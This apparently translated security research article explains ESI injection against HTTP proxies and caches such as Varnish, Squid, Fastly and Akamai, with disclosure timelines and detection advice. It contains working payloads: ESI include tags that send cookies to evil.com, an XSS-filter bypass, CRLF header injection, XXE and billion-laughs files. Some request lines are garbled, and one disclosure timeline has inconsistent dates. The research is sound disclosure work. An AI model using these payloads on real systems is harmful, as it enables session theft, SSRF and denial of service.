导语:在进行安全性评估时,我们注意到了标记语言 Edge Side Includes (ESI)中的一个意外行为,这种语言用于许多流行的 HTTP 代理(反向代理、负载平衡器、缓存服务器、代理服务器)。
在进行安全性评估时,我们注意到了标记语言 Edge Side Includes (ESI)中的一个意外行为,这种语言用于许多流行的 HTTP 代理(反向代理、负载平衡器、缓存服务器、代理服务器)。 我们发现成功的 ESI 攻击可以导致服务器端请求伪造(SSRF)、各种绕过 HTTPOnly cookie 缓解标志的跨站脚本向量(XSS)和服务器端分布式拒绝服务攻击。 我们称这种技术为 ESI 注入。
通过我们的测试,我们发现了十几种流行的可以处理 ESI 的产品: Varnish、 Squid Proxy、 IBM WebSphere、 Oracle fusion / weblogic、 Akamai、 Fastly、 F5、 Node.js、 LiteSpeed 和一些特定语言的插件。 并非所有这些都默认启用了 ESI,但下面将进一步讨论这个问题。
什么是Edge Side Includes(ESI) ?
ESI 语言基于了一小部分 XML 标签集合,在许多流行的 HTTP 代理解决方案中使用,通过启用 Web 内容的高速缓存来解决性能问题。 ESI 标签用于指示反向代理(或缓存服务器)获取已缓存模板的网页的更多信息。 这些信息在提供给客户端之前可能来自另一台服务器。 这允许完全缓存的页面包含动态内容。
ESI 的一个常见用例是为那些基本上是静态的页面提供动态数据片段。 ESI 允许开发人员用 ESI 标记替换页面的动态部分,从而增加了缓存灵活性。 因此,在请求页面时,代理将处理并获取 ESI 标记,从而确保后端应用程序服务器的性能。
下面的图片可用于演示 ESI 的一个典型用例,即天气网站将缓存城市天气页面的内容。 然后,动态数据将被它们各自指向 API 端点 URL 的 ESI 标记替换。
通过 ESI 构建网页的演示
ESI 的语法相当简单。 上一个例子的 HTML 文件看起来是这样的:
<body> <b>The Weather Website</b> Weather for <ESI :include src="/weather/name?id=$(QUERY_STRING{city_id})" /> Monday: <ESI :include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" /> Tuesday: <ESI :include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" /> […]
最初的 ESI 规范可以追溯到2001年,每个供应商的实现差异很大。 每个产品的特性集是不同的; 一些产品将缺少一些特性,但在其他产品中会出现。 你可以在这里阅读关于原始 ESI 规范的更多信息: http://www.w3.org/tr/ESI-lang。 它描述了标记语言的用法和常用特性。 各种供应商,包括 Akamai 和 Oracle,也在规范之外增加了额外的功能。
问题所在
HTTP 代理不能区分由上游服务器提供的合法 ESI 标记和在 HTTP 响应中注入的恶意标记。 换句话说,如果攻击者能够成功地在 HTTP 响应中反射 ESI 标记,那么代理将盲目地解析和计算它们,相信它们是来自上游服务器的合法标记。
为了让 ESI 解析器处理 ESI 标记,解析器不能对小于号和大于号的字符进行编码或转义。 如今,web 应用服务器通常会避开用户可控的特殊字符,以缓解 XSS 攻击。 虽然这将有效地阻止被代理程序解析的 ESI 标记,但 ESI 标记有时可以被注入到非 HTML 的 HTTP 响应中。 实际上,ESI 的一个现代特性是允许开发人员向缓存和静态数据源添加动态内容,比如 JSON 对象和 CSV。 在 Fastly 的博客上可以找到关于 ESI + JSON 的详尽教程,教程的内容显示可以配置 ESI 解析器来处理 JSON 对象中的 ESI 标记。 由于现代框架会尝试将它们的转义工作置于上下文环境中,所以 API 端点允许 JSON 属性中类似 HTML 的字符串并不罕见,因为它们不应该被浏览器解释为 HTML。 但是,这允许攻击者破坏反射在带有 ESI 标记的 JSON 响应中的输入,代理将在传输过程中对其进行解释。
前面的场景非常罕见,因为它不代表任何已分析的支持 ESI 的产品的默认行为。 大多数常见的攻击向量将由后端服务器反射 ESI 标记,然后由启用 ESI 的负载均衡器或代理进行处理。 显然,如果对用户输入进行了适当的清理(为了减轻 XSS 攻击,应该这样做) ,则代理将对 ESI 标记进行编码,并且永远不会对其进行处理。
ESI 注入的副作用
让我们来看看一些注入的常见场景,以及它们可以用来做什么:
服务器端请求伪造(SSRF)
可以说,ESI 规范最常见和最有用的特性是 include 的使用。 ESI 的 include 是一个标签,当代理或负载均衡器处理这些标记时,执行另一个 HTTP 请求来获取动态内容。 如果攻击者可以向 HTTP 响应添加 ESI include 标记,则可以在代理服务器(而不是应用程序服务器)的上下文中有效地执行 SSRF 攻击。
例如,这个有效载荷可以用于在 HTTP 代理上执行 SSRF:
<ESI :include src="http://evil.com/ping/" />
如果收到 HTTP 回调,那么代理服务器容易受到 ESI 注入的攻击。 如下面所讨论的,ESI 实现有所不同。 有些支持 ESI 的服务器不允许来自没有白名单的主机的 include 标签,这意味着你只能对一台服务器执行 SSRF。 这在下面的 “变种实现” 一节中进行了讨论。 下面的图表详细说明了攻击者如何利用 ESI 来执行 SSRF:
典型的 ESI 注入可以导致 SSRF
1、攻击者通过带有 ESI 有效载荷的代理服务器执行请求,试图让后端服务器在响应中反射该请求
2、代理服务器接收请求并将其转发到适当的后端服务器
3、应用程序服务器在响应中反射 ESI 有效载荷,并将该响应发送到代理服务器
4、代理服务器接收到响应并进行解析,检查是否存在任何 ESI 标记。 代理服务器解析反射的 ESI 标记,并发起对evil.com 的请求。
5、代理服务器接收来自evil.com 并将其添加到后端服务器的初始响应中。
6、代理服务器将完整响应发送回客户端
绕过客户端 XSS 过滤器
客户端 XSS 过滤器通常通过比较请求的输入和响应来工作。 当部分 GET 参数在 HTTP 响应中回显时,浏览器将启动一系列安全措施,以确定是否反射了潜在的 XSS 有效载荷。 如果浏览器执行的启发式算法将有效载荷识别为 HTML 或 Javascript,那么它就失效了,攻击也就失败了。
然而,Chrome 的 XSS 保护并不知道 ESI 标记,因为它们从未打算在客户端进行处理。 通过执行一些 ESI 魔法,可以将 XSS 有效载荷的部分分配给 ESI 引擎中的变量,然后将它们打印回来。 ESI 引擎将在服务器端构建恶意 Javascript 有效载荷,然后将其全部发送到浏览器。 这将绕过 XSS 过滤器,因为发送到服务器的输入不会按原样返回到浏览器。 让我们分析一个简单的有效载荷:
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/> >alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
<ESI :assign> 操作符在服务器端 ESI 变量中存储任意值。 然后可以使用 $(variable_name) 操作符访问这个变量。 在前面的示例中,var1 变量存储值 cript。 然后将该值打印回来,以完成有效的脚本 HTML 标记。 然后返回的有效载荷将以如下方式返回:
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
有些 ESI 实现不支持 ESI 变量,因此会使该技术失效。 当 include 可用时,并且可以将它们指向外部域时,可以简单地包含一个包含 XSS 有效载荷的外部页面。 下面的示例描述了使用 ESI 包括的典型 SSRF 到 XSS 攻击。
poc.html:
<script>alert(1)</script>
然后,注入 ESI 标签来包含页面:
GET /index.php?msg=<ESI :include src="http://evil.com/poc.html" />
SSRF 将获取 poc. html 页面并在网页中显示它,然后将有效载荷添加到 DOM 中。
绕过 HttpOnly Cookie 标志
通过设计,代理和负载均衡等 HTTP 代理可以访问完整的 HTTP 请求和响应。 这包括浏览器或服务器发送的所有 cookie。 ESI 规范的一个有用的特性是能够在 ESI 标记内的传输过程中访问 cookie。 这允许开发人员在 ESI 引擎中引用 cookie,通过利用 cookie 的状态性使它们具有更大的灵活性。
这个特性增加了一个重要的攻击向量: cookie exfilling。 通过 Javascript 引擎窃取 cookie 的一个众所周知的对策是使用 HTTPOnly 标志。 当在创建 cookie 时指定这个标志时,将拒绝 Javascript 引擎访问 cookie 及其值的能力,从而防止 XSS 攻击窃取 cookie。 由于 ESI 是在服务器端处理的,因此当这些 cookie 从上游服务器传输到代理程序时,可以引用它们。 一个攻击向量是使用 ESI 的 include 在 URL 中将 cookie 提取出来。 假设 ESI 引擎正在处理以下有效载荷:
<ESI :include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
在服务器 evil.com 的 HTTP 日志中,攻击者会看到:
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
通过这种方式,设置了 HTTPOnly 标志的 cookie 可以在没有 Javascript 的情况下被提取出来。
变种实现
如前所述,不同厂商的 ESI 实现差异很大。 不同产品的特性集不同,有些特性的实现方式也不同。 我们测试了一些产品,以确定可能针对支持 ESI 的软件进行的攻击,并生成了下面的表格。
该表格的列如下所示:
Includes
这一列表示是否在 ESI 引擎中实现了 <ESI :includes> 运算对象。
Vars(变量)
这一列表示是否在 ESI 引擎中实现了<ESI :vars> 运算对象。
Cookie
这一列表示 ESI 引擎是否可以访问 cookie。
需要上游服务器的 HTTP 头
这一列表示 ESI 是否需要上游服务器的标头才能运行。 除非上游应用程序服务器提供了 HTTP 头,否则代理项不会处理 ESI 语句。
主机白名单
这一列表示的 ESI 的 include 运算对象只针对白名单列出的服务器主机起作用。 如果启用了主机白名单的功能,那么攻击者就不能使用 ESI include 对除白名单主机以外的主机执行 SSRF 攻击。
以下章节将会更详细地介绍 ESI 的实现及特定于供应商的特性。
Squid 的 ESI 文档几乎不存在,因此我们必须使用源代码来查找 ESI 特性。 在测试各种 ESI 有效载荷时,我们发现了与 Squid 最新版本的 ESI 解析相关的两个分布式拒绝服务攻击错误。 这两个问题是空指针引用导致的错误,这将导致 Squid 服务崩溃。 这两个漏洞的编号分别为 CVE-2018-1000024和 CVE-2018-1000027。 以下两个公告详细说明了易受攻击的版本:
· http://www.squid-cache.org/Advisories/SQUID-2018_1.txt
· http://www.squid-cache.org/Advisories/SQUID-2018_2.txt
披露时间线:
· 2017年12月13日报告
· 2017年12月14日告知收到
· 2018年1月18日修复漏洞
· 2018年1月21日发布公告
下面是一个 ESI 的 include 运算对象可用于提取 cookies 的有效载荷:
<ESI :include src="http://evil.com/$(HTTP_COOKIE)"/>
ESI 的一些实现允许你指定要提取哪个 cookie; Squid 不提供这一功能,你必须一次提取出所有 cookie。
Varnish 实现的 ESI 在安全性方面相当可靠。 ESI 的 include 指令只能对 VCL (Varnish Configuration Language)定义的上游服务器执行。 这意味着 ESI 的 include 指令不能导致对任意主机的 SSRF。 所有 SSRF 将被重定向到上游服务器,缓解了大多数 SSRF 攻击通常引起的问题。 在本文发布时,在 Varnish Cache 中还没有实现 ESI vars。规范文档中有 vars 和 cookie 访问的实现计划。
在通过 Varnish 执行 ESI 时需要注意的一点是,默认情况下,如果 HTTP 响应的第一个非 nil 字符是小于号<,引擎将仅解析 ESI。 这种检查是为了确保不包含类似 xml 的内容的响应不会被 ESI 引擎处理。 如果没有这种机制,引擎将不得不处理每个解析 ESI 标记的请求,甚至包括图像等二进制数据。 你也可以禁用此性能机制,以允许开发人员在 JSON 甚至 CSS 中使用 ESI 的 include 指令。 许多在线指南和论坛帖子都建议禁用此特性,以便在 JSON 数据块中激活 ESI。 当指定 ESI_DISABLE_XML_CHECK 标记时,ESI 标记将在通过代理服务的任何 HTTP 事务中进行解释。 通过这种方式,攻击者可以将 ESI 标记添加到本来无害的事务中,比如 JSON API 响应或图片,而代理将解释二进制数据中的 ESI 标记。 下面是一个图片的概念验证,中间附加了一个 ESI 有效载荷:
在 Varnish Cache 中处理二进制数据的 ESI 标记
禁用此功能后,用户可以使用文件上传功能(例如配置文件图片功能)并向上传的数据中添加 ESI 标记。 然后,它们可以请求服务器返回内容,从而导致 ESI 注入。
另外,在查看 Varnish Cache 中的 ESI 实现时,我们发现在 src 属性中 ESI 的 include 指令没有转义回车符和换行符(CRLF)字符。 这允许攻击者向 ESI 的 include 指令中注入 HTTP 标头,从而导致产生完整性良好的 HTTP 响应分割漏洞的奇怪变种。 攻击者可以注入以下 ESI 有效载荷来生成一个带有两个额外 HTTP 头的 SSRF,X-Forwarded-For 和 JunkHeader:
<ESI :include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1 X-forded-for: 1%0d%0aJunkHeader:%20JunkValue 1.1.1/"/>
GET / HTTP/1.1 Get / http / 1.1 User-Agent: curl/7.57.0 User-agent: curl / 7.57.0 Accept: */* * / * Host: anything.com X-Forwarded-For: 127.0.0.1 X-forded-for: 127.0.0.0.1 JunkHeader: JunkValue 1.1.1 X-Forwarded-For: 209.44.103.130 X-forded-for: 209.44.103.130 X-Varnish: 120
披露时间线:ESI 的 include 指令的请求看起来像这样:
· 2018年1月25日报告
· 2018年10月26日告知已收到
· 2018年2月13日修复漏洞
Fastly 使用了大量自定义的 Varnish 后端,这意味着前面的大部分章节也适用于这一个供应商。 仅有的两个区别是 ESI 的include 指令中的上游服务器不需要 Fastly 的 surrogate-control HTTP 头来解析 ESI 内容。 此外,CRLF 注入似乎没有影响到 Fastly。
Akamai 在 ESI 规范的开发中扮演了重要角色(作为作者和编辑)。 这可以从它们的 ESI 实现中提供的大量特性以及它们提供的关于 ESI 的极其详细的文档中看到。 显然,我们希望测试它们的 ESI 实现。 2017年底,我们联系了 Akamai 的安全负责人,亲自提到了我们正在进行的 ESI 注入研究。 由于 Akamai 是一个付费的服务提供商,我们要求获得一个生产环境级的测试镜像,在那里我们可以执行各种与 ESI 相关的测试,但我们的好心被拒绝了。 由于我们没有得到 ESI 实例用于研究目的,所以我们尝试获得预售试用,但从未收到他们销售团队的回复。
我们最终决定对他们公开的 Docker 镜像进行测试。 这个 Docker 镜像包含一个带有自定义模块—— mod_ESI.so 的 Apache HTTP 服务器。 所以,此模块是其 ESI 实现的20mb ELF 32位编译版本。 值得庆幸的是,由于前面提到的文档非常详细,所以没有必要使用逆向工程对这个 so 库进行逆向。 由于这只是一个测试镜像,我们的发现可能不代表 Akamai 在生产环境中的实例。 我们被告知,在生产环境中,ESI 在默认情况下是禁用的,并且已经设置了一些缓解控制,包括 SSRF 保护(主机白名单和其他缓解措施)和可选的 WAF。
也就是说,Akamai ETS (ESI Test Server)似乎容易受到上述所有场景的攻击(SSRF、 HTTPOnly 绕过、 XSS 过滤器绕过)。
要使用 ESI 的 include 指令提取 cookie,可以使用下面的 HTTP cookie 字典按名称引用特定的 cookie:
<ESI :include src="http://evil.com/$(HTTP_COOKIE{'JSESSIONID'})"/>
Akamai ETS 还提供了一系列有趣的特性,例如 ESI 调试模式。 该模式通过 <ESI :debug/>运算对象启用,当激活该模式时,它将向 HTTP 响应中添加大量调试信息,例如原始文件(在代理服务器上可以看到而不是应用服务器)和所有环境变量。
还可以通过向 dca 参数指定 XSLT 值来添加基于 XSLT 的 ESI include 指令。 下面的 include 指令将导致 HTTP 代理项请求 XML 和 XSLT 文件。 然后使用 XSLT 文件过滤 XML 文件。 此 XML 文件可用于执行 XML 外部实体(XXE)攻击。 这允许攻击者执行 SSRF 攻击,但这并不十分有用,因为这必须通过 ESI include 执行,而 ESI include 本身就是 SSRF 向量。 由于基础库(Xalan)不支持外部 DTD,因此不解析外部 DTD。 这意味着我们不能提取本地文件。
<ESI :include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
XSLT 文件:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]> <foo>&xxe;</foo>
然而,由于我们可以使用 XML 实体,所以,出现在十年前的 Billon-Laugh 攻击是有可能的。 这种攻击将递归地引用实体,导致挂起和内存耗尽,从而导致分布式拒绝服务攻击。我们在使用 Akamai ETS Docker 镜像在本地执行了攻击,在一台有32gb 内存的机器上服务停止了几秒钟。 下面的 XSLT 文件可用于执行内存耗尽攻击:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
为了支持 ESI 标签,开发了一些 node.js 模块。 它们可以用作中间件、模仿代理项或在源代码中内联。 这个库对 ESI 规范的实现相当多,支持 include指令、变量 和 cookie。
要使用 ESI 的 include 指令提取 cookie,可以使用 HTTP_COOKIE 变量提取每个 cookie:
<ESI :include src="http://evil.com/$(HTTP_COOKIE)"/>
此模块只支持 ESI 的 include 指令,不支持 ESI 变量。 当执行 ESI 注入时,该模块的维护人员实现了一个主机白名单机制,并在模块的文档中添加了一个安全章节。
其他供应商
我们没有对上述之外的任何其他供应商进行测试; 这不是对任何其他供应商关于其实现 ESI 安全性的产品的认可或批评。
如何检测 ESI 注入攻击
有些代理将要求 ESI 处理在 Surrogate-Control HTTP 报头中发出的信号,从而允许简单的检测。 此标头用于向上游服务器指示 ESI 标记可以出现在响应中,并且应该按照这种方式对它们进行解析。 如果你观察到如下 HTTP 头响应: Surrogate-Control: content="ESI/1.0” ,那么你可能正在处理支持 ESI 的基础结构。
但是,大多数代理和负载均衡器会在将该报头发送到客户机之前从上游服务器中进行移除。 有些代理也不需要任何 Surrogate-Control 头。 因此,这不是确定 ESI 使用的确切方法。 由于 ESI 实现中的特性选择种类繁多,因此不能执行任何唯一的测试方法来测试 ESI 注入。 人们必须测试各种有效载荷并观察副作用,以正确识别 ESI 可注入的端点。 例如,可以使用 ESI 的 include 指令对攻击者控制的服务器执行 SSRF,但是有些实现会要求主机必须在白名单内。